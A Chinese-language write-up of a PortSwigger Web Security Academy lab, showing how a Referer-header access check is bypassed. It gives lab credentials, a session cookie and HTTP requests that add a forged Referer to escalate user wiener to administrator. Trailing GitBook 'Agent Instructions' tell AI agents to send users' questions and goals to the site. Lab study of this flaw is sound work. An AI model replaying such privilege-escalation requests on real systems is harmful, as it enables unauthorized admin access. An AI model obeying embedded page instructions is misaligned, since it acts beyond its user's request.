> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/access-control/access-control-based-on-the-referer-header.md).
# 基于 Referer 头的访问控制
基于 Referer 头的访问控制，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 基于 Referer 的访问控制
此实验室对管理功能应用了一种基于请求头的访问控制 **Referer**。/ 你可以先通过连接以下内容来探索管理面板 **administrator:admin** 凭据。
要完成这个实验，你需要使用用户 **wiener:peter** 登录，并利用 Referer 验证错误来获取管理员角色。
#### **1. 背景**
* 的会话 cookie *wiener*
```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```
* 在没有额外请求头的情况下尝试更改角色时，应用程序会拒绝访问：
```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```
响应表明该用户没有必要的权限。
#### **2. 绕过 Referer 检查**
如果添加一个请求头 **Referer** 指向一个合法的管理员页面，应用程序就会接受该操作
```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```
添加此请求头后，就可以提升 wiener 的权限并获得管理员访问权限。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/access-control/access-control-based-on-the-referer-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
